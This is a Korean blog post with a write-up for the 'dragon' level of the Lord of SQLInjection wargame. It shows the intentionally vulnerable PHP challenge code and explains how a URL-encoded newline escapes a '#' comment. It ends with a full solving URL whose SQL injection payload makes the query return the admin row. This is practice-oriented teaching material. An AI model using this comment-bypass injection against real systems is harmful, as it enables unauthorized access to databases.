[LOS] 20. dragon

고둑·2021년 7월 17일
0

LoS

목록 보기
20/21

힌트

  • 프로그래밍을 할떄 주석이 영향을 미치는 범위를 생각해보자
  • 개행 문자 이용

풀이

코드 해석

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("dragon");
  highlight_file(__FILE__); 
?>

쿼리문 중간에 주석 문자인 #이 들어가 있어서 pw 부분에 무슨 짓을 해도 실제 쿼리문에 영향을 줄 수 없다.

문제 풀이

개행 문자 이용

첫 번째 힌트에서 말 한 것처럼 프로그래밍을 할 때 주석이 영향을 미치는 범위를 생각해보면 주석 문자로부터 그 줄 끝까지였다.
한마디로 다음 줄은 영향을 미치지 않는 것이다.
이 점을 응용하여 pw에 개행 문자 %0a를 삽입해주면 %0a뒤에 삽입되는 구문은 다음 줄에 쓴 것으로 취급당해 주석에서 벗어나게 될 수 있다. 이를 통해 공격을 할 수 있게 된다.

https://los.rubiya.kr/chall/dragon_51996aa769df79afbf79eb4d66dbcef6.php?pw=%0a%26%26pw=%27%27||id=%27admin

profile
문워킹은 하지말자

0개의 댓글